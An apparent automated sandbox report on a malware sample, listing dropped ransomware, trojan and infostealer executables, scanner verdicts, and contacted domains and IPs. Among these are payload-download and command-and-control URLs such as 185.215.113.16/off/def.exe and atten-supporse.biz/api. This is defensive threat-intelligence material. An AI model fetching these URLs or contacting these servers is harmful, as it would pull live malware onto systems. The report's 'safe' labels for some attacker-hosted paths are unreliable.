C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	21%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	21%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://80.82.65.70/files/downloadMicr	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apitW	100%	Avira URL Cloud	malware
http://80.82.65.70/files/downloadSys&	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpfox	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exez1	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exez.	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exe4	100%	Avira URL Cloud	malware
https://www.openh264.org/findUpdates()	0%	Avira URL Cloud	safe
http://80.82.65.70/filesl	0%	Avira URL Cloud	safe
http://80.82.65.g	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download_REV	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empj	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/downloadhqos.dll.mui	0%	Avira URL Cloud	safe
http://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/key8t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.142	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
atten-supporse.biz	104.21.16.1	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	172.217.21.36	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
formy-spill.biz	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
dwell-exclaim.biz	false	high
http://80.82.65.70/dll/download	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/files/downloadMicr	2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com/	firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apitW	feb3d39b6a.exe, 00000013.00000003.3270730206.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshandleUpdateFailure	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000023.00000002.3302865830.00000132C279C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208780144.00000132C279C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3245288155.00000132B69B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/findUpdates()	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpfox	file.exe, 00000000.00000002.2593553859.0000000000347000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3127404594.00000132BAA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/downloadSys&	2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/23eec18fa-2067-4082-925e-9c8a7241148b	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exez.	feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exez1	feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000023.00000002.3281670424.00000132BBABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe4	skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/random.exe6	skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://80.82.65.70/filesl	2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/	firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3280263436.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3325496856.000000000098B000.00000004.00000010.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3270730206.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3278865021.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	feb3d39b6a.exe, 00000016.00000003.3287085381.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3234618879.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3207291870.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/endDate	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpc	file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.g	2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download_REV	2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/key8t	2533b4b8c7.exe, 00000012.00000002.3325397739.0000000001008000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/downloadhqos.dll.mui	2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3289593951.00000132BD2BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in	firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000023.00000002.3304363170.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	feb3d39b6a.exe, 00000016.00000003.3211134500.000000000579B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000023.00000002.3299612052.00000132C24D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empj	2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.wykop.pl/	firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/	firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/This	firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
104.21.16.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.142	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572052
Start date and time:	2024-12-10 02:49:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
